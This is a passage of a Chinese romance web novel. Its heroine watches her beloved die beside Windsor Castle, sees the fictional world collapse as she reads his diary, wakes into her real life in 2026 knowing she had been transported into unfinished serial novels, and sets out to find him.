有热心路人经过,忍不住上前询问他们是否需要帮助。男人便用他那张像鬼一样的脸看过去,惊得路人倒抽一口凉气,趔趄后退。女人则立马摆摆手,用蹩脚的英语回:“Thank you……No, thanks. We’re……we’re ok.” 这样拒绝了几次路人后,她像一只驮着沉重外壳的蜗牛,终于缓慢地将那男人搀扶到了温莎城堡高大的石墙脚下。 男人忽然更紧地抓住了她的胳膊,气若游丝地说:“希希,可以了……不用再往前了。” 女人侧了侧脸,目光却投向了远处的塔楼:“你不想进去看看?” 男人轻微地摇了摇头:“希希,我有些累了……现在,能好好看看这座城堡外面的样子,就很满足了。” 女人沉吟片刻,点点头:“好,那我们先去旁边坐着歇歇,等你歇够了,看够了,我们再进去。这里可不是每天都对外开放的,我们来得正是时候,得好好把握机会。” 男人笑着回应:“嗯。” 然后,女人扶着他,找到一块平坦的草地,这里角度正好,能将城堡恢弘的正面收入眼底。 男人好像真得太累了,刚坐稳,便无力地问:“希希,我……可以趴在你身上吗?” 一阵风吹来,拂乱了女人鬓边的长发。 她望着眼前巍峨恢宏的灰黄色城堡,面无表情地回:“这还用问吗?你又不是没趴过。” 得到这声允许,男人身体一软,像是被抽掉了所有骨头,从女人肩头缓缓滑落,最终将头枕在了她弯曲蜷起的腿上。 约莫两分钟后,他轻轻吁了口气,叹道:“真好看。” 女人一直没看男人,她的目光牢牢锁着城堡高耸的塔尖和整齐的垛口,从始至终都没移开。听到男人的话后,她看似敷衍地回:“是啊,真好看。” 可她并不知道,男人的眼睛,竟从始至终都凝在她的脸上,一秒钟都未曾分给,那座他从小向往的温莎城堡。 然后,男人摸索着,握住了女人垂在地上的手。 握得不紧,甚至有些虚软,却没有再松开,也没有再说话。 两人就这样保持着一个姿势,一动不动。 风吹过又回来,不远处一棵老树的叶子黄了,三两片脱离枝头,跟着风打着旋儿,飘到他们眼前,然后又飘飘悠悠地远去,飞向那座沉默的城堡。 渐渐的,女人的眼眶红了。 或许是风迷了眼,一滴眼泪毫无征兆地溢出,沿着她的脸颊滑落。 啪嗒。 泪珠轻轻掉在男人藏青色的脸颊。 而男人一动不动,好似睡着了,只有那只原本握着女人的手,缓缓地、缓缓地松开了。 女人依旧没有看他。 哪怕此刻,她的泪水已然失控,决堤般涌出,接连滚落,一下下打湿了男人的头发,在他的皮肤上晕开了一小片、一小片浅浅的水迹。 她从没觉得自己这样恨他。他对她残忍,她便要对他狠绝,这是她给他的报复和惩罚,不看他,就不会记得他,今天过后,她要永远、永远地忘记他。 可就在这时,女人的眼前世界猛地晃了一下,紧接着,视野边缘画面突兀地缺了一角,就像老旧的小霸王游戏机卡带接触不良,屏幕陡然花掉了一块。 女人心里一慌,又迅速强压下去。 是太累了吧,或者是泪水模糊了视线…… 她赶紧闭上眼,用力揉了揉发胀的眼皮,哪想,再睁开眼时,那缺失的一角非但没有恢复,反而扩大了不少。 并且,那缺失处跳动不安,仿佛闪烁的黑色噪点。 噪点正以肉眼可见的速度,贪婪地蚕食着周围清晰的光影! 刹那间,女人这几个月来遭遇的所有怪事,如排山倒海般,齐齐窜上脑海: 组织下发的任务从不附细节图纸,可她总能莫名知道自己要找的东西具体是什么模样; 张笑远徒手接住了从四十层高楼跃下的温雪生,自己却连皮都没擦破; 她失落的身份线索明明近在咫尺,可锦华典当行的小王总能预判她的行动,提前五分钟关门落锁,将她拦在门外; 她每次戴着张叔给的眼罩前往组织总部时,道路就永远走不到头,而她一旦试图揭下眼罩,时间便会轰然倒流,将她抛入无休无止的循环; “破晓”宣称要扫清城市毒瘤,可毒瘤分明已经被清除得差不多了,他们却还要朝着这个空洞的目标麻木前行,像是被设定好了一样; 还有那本日记,明明是六岁孩童的生活记录,行文却成熟调理,字迹流畅,甚至还带着成年人才有的习惯性连笔…… 南希的太阳穴突突狂跳,越跳越猛,同时,眼前缺失一角的世界开始天旋地转,越转越快。 她胃里一阵翻江倒海,忍不住干呕一声,然后身体失了平衡,猛地向旁边歪倒下去。 脑袋“咚”地一下,不偏不倚地磕在她随身携带的剑桥包上。 那包口的扣子设计得繁琐,像老式腰带扣,敞开费时又费力,她早就不耐烦系扣了,平时只是将翻盖随意一搭,反正背在身上时,里面的东西也不会掉出来。 可这一摔,剑桥包也摔到了地上,翻盖被震得掀开,包里的东西便滑出了一角。 那是一块厚实的、牛皮封面的一角…… 温雪生的—— 日记本! 疯狂旋转的世界,在这一瞬间,骤然停滞。 所有纷杂的怪事,所有无解的疑问,仿佛在这个瞬间找到了唯一的漩涡中心,轰然涌向了那个日记本之内。 南希顾不上恐惧,也顾不上思考,她慌忙扑过去,手指颤抖着扯开剑桥包,一把将日记本抓了出来。 封皮温凉粗糙的触感让她打了个激灵,然后,她没有丝毫犹豫,目光凛然地翻开了日记的第一页。 第84章 破晓日记 一九八四年二月一日,阴 除夕。 窗外的鞭炮声一阵比一阵响,噼里啪啦炸得热闹,可屋里却是冷的,爸爸又没回来,周围安静得都能听见我自己的呼吸声。看来这个年,我得一个人过了…… 一九八五年九月二十九日,阴 温沙城堡建好了。这是李管事告诉我的,他还说,今天我们就要收拾行李搬进去,可今天是中秋节啊,月亮该圆了,我还想在这儿等等爸爸呢……我已经三个月没见到他了,他今天,会不会顺路回来看我一眼呢?…… 一九九六年十二月二十七日,雪 天从拂晓就开始下雪,纷纷扬扬,一直落到晚上。城堡外的积雪没了脚踝,雪还没停。 我大概真要死了。 不过,从雪中来,在雪中去,倒也浪漫…… 一九九七年二月十五日,晴 真不凑巧,昨天刚和她发生了,发生了那种事,今天刘医生就来给我检查身体了。他盯着我的脸看了很久,还对我脸上那些纹路的消失,给了一套科学的说法。 他说:“理论上,持续、稳定的良性刺激,有助于身体机维持在一个新的平衡点上。您的这种特殊‘遭遇’,既然带来了如此积极的生理改变,那么,如果可能的话……希望您能定期跟那只‘鬼’见面。”…… 一九九七年三月十日,阴 济东大学,计算机学院楼前。 我看见她了。 她和张笑远并肩站着,不知说到了什么,两人都笑了起来。 阳光落在她扬起的脸上,她好美,可我的心好痛…… 一九九七年三月十二日,晴 我被反锁在了一间密室里,这里应该是南郊的一座废弃工厂。外面至少有三个小流氓的脚步声和笑骂声,他们还不知道我醒了…… 一九九七年三月十三日,晴 我的肋骨大概断了,每吸一口气都会疼。 她的腿瘸了,走起来一深一浅,但她还是坚持驮着我,一步一步,艰难地往前挪。 我知道,温重明的枪口就在我们身后,我也知道,我们逃不掉了。 一切,只能重来。 …… 日记本的纸页哗啦啦地自动翻着,像是活了一样,上面的字也扭动起来,变成了一个个黑色蝌蚪,它们挣脱了纸张,游进空气,然后争先恐后地往南希脑子里钻。 这些爆炸信息让她大脑滚烫,几乎要炸开,可她的身体却一寸寸凉了下去,冷得发抖。 这本日记,打她第一次闯进温沙城堡,第一次见到温雪生时,就放在她的手里了,可为什么,为什么后面还会有那些日复一日的记录?!还这样详细,详细到不像是记录,倒像是……创作。 对,就是创作。 这些日记把每个人说了什么话,做了什么事,甚至细微的动作,都“创作”了出来! 更让她惊恐的是,其中有一篇关于她的日记,她竟然毫无印象。 按照日记里写的,她从李家村赶回济东那晚,竟然开车翻进了温重明布好的陷阱,然后,一切不可挽回地滑向了绝路,可就在她的生命即要消失的时候,时间忽然倒流了! 这跟她在去总部的路上摘下眼罩,世界不断重启的情况有些类似,只不过,那晚的重启,似乎是按照温雪生的意识进行的…… 倏然,白先生的话,毫无征兆地撞进脑海: “亦有一人,身具扭转乾坤之能,可力挽狂澜于既倒。” “此人远在天边,近在眼前。” 所以,那个能扭转一切的人,不是温四,不是张笑远,而是……温雪生?! 这时,周遭的世界晃动起来,发出了不堪重负的轰鸣,那缺失的一角已经接连成片,跳动的黑色噪点,不知什么时候逼到了眼前。 南希低下头,看向早已失去呼吸的温雪生,他的腿太长,有一截已被噪点无声蚕食。 这个世界要崩溃了! 南希的意识里浮出这个清晰的句子。 可世界怎么会崩溃? 这是梦吗? 她拼命地摇头,用力拍打自己的脸颊,却怎么也没法把自己从这片混乱中拍醒。 这期间,那些噪点悄无声息地爬上了她的手臂、肚子、胸脯…… 很快,宏伟壮观的温莎城堡,身边的沉睡的男人,最后连同她自己,都被噪点吞噬殆尽,然后归入空无的黑暗。 不过,她的意识,还漂浮在这片虚幻的空间里。 那本日记仿佛也还在,纸页自动翻飞的轻响犹在耳边,它一直翻到了最后一页。 那里,有一行温雪生好看的墨蓝色笔迹。 明明在黑暗里,她竟看得清楚: 愿你拥有完整真实的人生。愿你顺遂,得偿所愿。 霎时间,周遭的黑暗被一股极其强烈的明光迅猛取代,南希感到双眼一阵刺痛,接着耳边响起一阵电话铃声。 那是一首歌,旋律熟悉,歌词是英语: “Marry me Juliet youll never have to be alone……” 听到这,大脑嗡了一声,然后南希猛地睁开眼睛,直面眼前耀人的光亮。 这是……霉霉的《Love Story》?! 她慌乱地环视四周,视野里有堆满杂书的书桌,有掀着盖、泛着微弱荧光的外星人笔记本电脑,还有一边震动一边唱歌的华为Mate 80pro手机! 南希机械地抓起手机,肌肉记忆驱使她手指一划,绿色接听键向右滑开。 听筒里立刻炸出一个暴躁的男声: “小希啊!你是只有要钱的时候,才能想起你爸是吧?!” 话音未落,南希已经挂断了电话。 那声音实在太大、太吵,震得她耳膜发麻。 而且更重要的是,就在听到那声音的一刹那,某些沉睡的记忆,如同海啸般席卷归来。 她是21世纪,光源集团董事长最小的女儿。 仅仅是最小的女儿,却不是最小的孩子,因为她下面有个弟弟,至于上面,还有一个哥哥,一个姐姐。 她这个位置,不上不下,尴尬得很。不是老大,担不起责任;不是老幺,得不到纵容。偏偏家里个个都出类拔萃,父亲对她的要求便严苛到近乎变态,所以她从小在一种近乎窒息的环境里长大,渐渐的从幼时的顺从,熬成了后来的叛逆。 考上大学后,她就头也不回地逃到了离家一千公里开外的城市,然后,再也没回去过。除了要钱,她几乎不跟家里任何一个人联系。 不过,她毕竟是个大小姐。 从小娇生惯养的日子过惯了,突然跑到外面的天地,她就像一株刚从温室里挪出来的花,很难适应真实的风风雨雨。她那股子天生的傲娇,加上凡事爱颐指气使的脾气,让周围的人都对她敬而远之,所以大学上了两年,她连半个朋友都没交下,恋爱更是谱儿都没有。 她心里堵得厉害,她可是个大小姐哎,那些人也配这样对她?可就算这样,她也不愿回头,因为家里的人,更过分。在她看来,这世上就没一个好人,有时夜深人静,她会盯着天花板,咬着被角想,还不如死了算了。 后来,她退了宿舍,在学校附近租了房子,索性不去上课了。 日子从此颠了个个儿: 窗帘永远拉着,分不清白天黑夜;饿了就摸手机点外卖,垃圾攒成山了,就叫个跑腿上门来取…… 反正她老爹有得是钱,花不完。 她便整天窝在床上,打游戏、追剧、看小说,眼圈熬得乌青,活像个见不得光的幽灵。 也就是在这段浑浑噩噩的日子里,她追起了一本很火的网络连载小说,叫《破晓》。故事背景设在九十年代,男主正义凛然、心怀家国,还能文能武,为了实现“扫清社会毒瘤”的理想而拼命;女主是一对姐妹花,他们一起搞了个叫“破晓”的组织,凭着传统侠义精神,在社会上扶弱除强,干了一桩又一桩爽文般的好事。 这类题材,南希压根儿瞧不上。 太假了,她想,这世上哪有这种傻子? 可鬼使神差地,她竟一路追了下去,这全因无意间,她发现了作者藏得很深的小号。 小号上同时在连载另一个故事,和《破晓》共用同一个背景世界,主角却是《破晓》里大反派的儿子。更特别的是,这故事是以那儿子的日记形式展开的。 日记写得很生动,字字往人心里扎,南希追文的时候对着屏幕哭了好几回。她其实是因为这本日记,才回头去补《破晓》的,或者说,她是想弄明白日记男主所生活的、憎恶的、无奈的世界,才硬着头皮看完了那些侠义故事。 后来,随着《破晓》越来越火,作者的小号终于被扒了出来,那篇日记小说便被更多人看见了。 读者们一下子炸成两派:有人坚持《破晓》的男女主才是正道之光,也有人被日记里那个复杂痛苦的少年圈了粉。 两派人在网上吵得天翻地覆,从角色吵到三观,还对作品各种挑刺,说小说逻辑有问题,经不起细纠察,比如,为什么反派没有下发任务图纸,而执行人还能清楚地知道自己的任务目标最是啥。 争吵一天天升级,最后甚至上升到攻击作者本人,他被贴上了“精神分裂”、“心理畸形”等一系列侮辱性极强的标签。 南希看不下去了,也一头扎进这场混战,没日没夜地替作者反黑。 只是骂战虽凶,作者却像块沉默的石头,而且两边的更新都没断过。 眼看两个故事都被推到了高潮,快要收官,然后突然有一天,作者停更了。 起初大家都没当回事,以为只是作者偶然想放松一下。 然而,第二天,没动静。 第三天,依旧没动静。 一天,两天,一周,一个月…… 人们这才慢慢回过神来:作者大概不会再写下去了。 他就这么消失了,什么解释也没留下,就像那么多人骂他时,他也从未替自己辩解过一个字一样。 对此,南希原本只是默默失落了几天,便忘了、释怀了,然后又开始了自己颓废的人生。 但就在这个阶段,作者的小小号被网友挖了出来。 那个小小号只发过一句话: 好想死。《 》 一定会【完结】 第85章 一定会 好想死,好想死,好想死…… 这三个字硬邦邦地砸过来,像钉子似的,一颗颗砸进南希的意识。 她也曾在心里这样崩溃过,她也曾捏着笔,在纸面上一笔一划地写下:好,想,死。 好想死…… 就在这时,日记小说里那个纸片人男主,突然“活”了过来,他不再是模糊的影子,而是从二维纸页上膨胀、伸展,然后变得有骨有肉,有温度有体积。 南希“看见”他孤零零地躺在温沙城堡三楼。窗户大敞着,风雪呼呼乱飞,白纱帘被掀得老高,雪沫子趁机扑进屋,落在洁白的地毯上。而他就那么躺着,静静的,闭着眼睛,像是在等待死亡的降临。 紧接着,又一个三维图,几乎贴着南希的眼皮,也“唰”地拔地而起。 只不过这次,图里的主角竟是南希自己。 她的身影和城堡里的男人一样孤单,她坐在一个很大的房间里,电脑屏幕是唯一的光源,照亮了她面前桌子上横七竖八堆着的书。周围,地板上有不成双的袜子,朝天竖着的靴子,还散落着一些空了的零食包装袋…… 每一个细节她都很熟悉,因为这正是她此时此刻身处的现实世界! 南希一阵恍惚,她觉得自己的魂儿好“嗖”的一下飞走了,然后轻飘飘地悬在天花板下,冷冷地俯视那个正窝在椅子上,对着电脑发愣的自己。 这感觉,跟小说里写的灵魂出窍、濒临死亡,大概差不多。 便在这个时候,南希视野里那两幅三维图,开始缓缓转动起来。它们渐渐靠近,边缘慢慢模糊、交融,最后严丝合缝地叠在了一块儿。 于是,城堡里等死的男人,和出租屋里颓丧的她,巧妙地合二为一了! 登时,她刚刚还轻轻漂浮的魂儿,突然急速向后飞去,然后飞离了她租住的40楼大平层,飞离了楼下闪着粼粼灯光的景观湖,飞离了城市璀璨如蛛网的灯火,一直飞到黑沉沉、无边无际的夜空里。 风在耳边呼啸,可南希的视线尽头,还死死锁着那俩重叠在一起的三维图,然后,她的瞳孔骤然缩紧,视角急速下坠,砰然砸回了身体。 南希猛地一个哆嗦,胳膊下意识紧紧环抱住自己。 旁边的Mate 80 pro又一次唱起了《Love Story》。 “Marry me Juliet youll never have to be alone……” 歌声在安静的房间里更显清晰,可那声音像是隔着一层厚厚的玻璃,嗡嗡的,进不了耳朵。 南希的眼睛直直地望着前方,瞳孔里却空茫茫一片,什么也没映进去。 她懂了。 她全都懂了。 不久前那一段光怪陆离的经历,那些怎么也想不通的蹊跷事,在这一瞬间,全都串联在了一起,有了明确的答案。 她穿书了,穿进了那两本没写完的连载小说,成了一个流浪街头的七岁小乞丐,丢失了所有“从前”的记忆,然后被张叔收留,一步步培养成了神偷,红发女鬼。 至于为什么她失落的身份线索明明近在咫尺,可锦华典当行的小王总能预判她的行动,提前五分钟关门落锁,将她拦在门外? 有两点原因。 一:她的记忆和身份属于现实世界,小说潦草的世界背景压根承载不起。 二:作者没有描写红发女鬼那么多细枝末节的过往,所以她一旦触碰这个边界,小说世界为了避免逻辑错乱,就会自动启用“保护程序”。 一样的道理。 为什么她每次戴着张叔给的眼罩前往组织总部时,道路就会永远走不到头,而她只要试图揭下眼罩,时间便会轰然倒流? 因为跟总部相关的情节,作者也还没有写到,所以她又怎么可能抵达总部? 而破晓组织那些人,他们为“扫除社会毒瘤”不断前进,那本来就是小说里的原始设定。 可小说写到温四爷出事后,故事就迎来了高潮,后面的情节作者没来得及创作,所以这些纸片人便失去了既定的剧情驱动,只能在残留的设定里,像上了发条的玩具,茫然地重复原有的动作。 南希还记得第一次见到张笑远的情景。 那位救人的大英雄,浓眉亮眼,鼻梁直挺,哪怕蹲坐在地上,也浑身撒发着一股出众的劲儿。 当时,有那么一瞬间,南希恍惚看见他周围笼罩着一圈金光。 现在她明白了,那不是她被张笑远的耀眼晃花了眼而生出的错觉,那圈金光,是“真实”存在的。作为《破晓》的第一主角,张笑远当然有主角光环,也正是顶着这样的光环,他才能徒手接下从四十层高楼坠下的温雪生。 “Marry me Juliet youll never have to be alone……” Mate 80 pro固执地唱到了第四遍,好像只要南希不接电话,就会这么永远循环下去。 南希终于回神,眼珠动了一下。 她没有犹豫,果断抓起手机,这一次,不等手机那边头熟悉的咆哮响起,她便抢先开了口:“爸,别吵,你先听我说,给我点时间,我会带着男朋友回家见你。” 听筒里安静了一秒,然后传来一个夹杂着错愕与惊疑的:“什么?!” 南希没再给他多余的机会,“嗒”的一声挂断了电话,然后,手指按住电源键,屏幕很快暗了下去。 她撑着桌子站起身,腿脚有些发麻,但其实她并没有在这里坐多久。 电脑屏幕还亮着,右下角的时间很清楚:2026年1月16日,21:56。 屏保没来得及启动,画面也还定格在《破晓》作者的小小号主页,那句“我想死”孤零零地悬在屏幕中央。 看来,尽管她在书中世界里摸爬滚打了十几年,而现实的时间,不过只漏走了几秒钟。 南希深吸了一口气,强迫自己冷静。 过去的大小姐南希,骄纵又厌世,但那个在九十年代求生的神偷南希,早已把冷静刻进了本能。 现在,她可以迅速剥离无用的情绪,只留下最核心的理智。 冷静下来后,南希开始了思考。 她为什么会突然穿进书里?不知道。 但她能从书中世界挣脱出来,一定和温雪生有关。 那本日记就是铁证。 里面的字句,和连载的日记小说分毫不差。 思考到这,南希觉得,自己已经可以作出一个合理的推测——温雪生是日记的主人,是小说的主角,更是那个世界的造物主。 正是因这个造物主的“死亡”,他笔下的世界才会崩塌,她也才得以从纸页的夹缝中重回现实。 南希倏然想起日记的最后一页,身体不由自主地微微一颤。 那一页里,有着未曾出现在连载中的、崭新的一行字。 那是“书中温雪生”留给“书中南希”的私密情话: 愿你拥有完整真实的人生,愿你顺遂,得偿所愿。 南希站在原地,站了十分钟。 然后她抬起头,扯掉身上松松垮垮的睡衣,赤脚踩过微凉的地板,走进了浴室。 哗—— 热水倾泻而下,白茫茫的雾气迅速爬满了毛玻璃窗。 她站在水幕下,仰起脸,让强劲的水流冲刷过头发、脸颊、脖颈……冲了很久很久,仿佛要冲掉沾在身上的所有疲惫和颓废。 走出浴室时,她的皮肤泛着粉红色,整个人容光焕发。 她没穿回那些精致的裙子,而是套上了一身干净的黑色运动服。然后她就着卧室的空地,做了五十个俯卧撑和五十个仰卧起坐。 她的身体已经不是小说里红发女鬼那具敏捷有力的身体,但也不再是原来那个娇弱无力的大小姐的身体。 红发女鬼的记忆还在,那些关于发力、关于忍耐的诀窍也还在。 她咬着后槽牙,坚持做完成最后一个动作,才瘫倒在地板上大口喘起粗气。 她一边喘,一边在心里给这副新生的身体打了个分。 六十分。 还好,勉强及格。 然后她没换衣服,直接爬上了床,闭上了眼。她命令自己清空大脑,什么也别想,现在,她急需一场深度睡眠,只有休息好了,她才有力气做事。 她真得很快就睡着了,一觉到天亮,虽然睡眠中似乎有些凌乱的梦境闪过,但因为精神和身体都极度疲惫,她这一觉睡得又沉又长,醒来时,头脑是久违的清醒,精神像是被洗涤过,轻盈而饱满。 她迅速起了床,照着记忆里红发女鬼的生活习惯走进厨房,温了一杯牛奶,煎了一块边缘微焦的鸡蛋,烤了两片全麦吐司,最后又配上了几片番茄和生菜。 吃完早餐后,她换上了一身利索的行头:黑夹克,修身牛仔裤,系带马丁靴。 然后她把长发扎成了高高的马尾,露出了额头和脖颈。 这是在小说世界执行任务时,她最常用的打扮,便捷舒适,利于行动,也让她感到安心。 最后,她轻快地出了门。 这是她两个月来第一次主动踏出房门。 外面,春风扑面而来,夹杂着阳光的暖意和植物新生的气息。 她微微眯了下眼,深深吸了一口气,肺腑间一片澄澈。 她觉得,自己从未像现在这样充满力量,也从未像现在这样清醒,目标明确。 她要去找温雪生。 她不知道他在哪里,不确定他是否还活着。 但那又怎样? 她要去找她。 她会从南到北,找遍国内每一座可能被称为城堡的建筑。 如果没有,她就去国外,踏遍欧洲,踏遍美洲,踏遍这世界上任何一个角落,只要那里有城堡的尖顶。 直到,找到他为止。 反正,她有的是钱,有的是时间。 只要他尚未化作尘土,只要他们还呼吸着同一片蓝天下的空气—— 他们,就一定会再见。 【正文完】《 》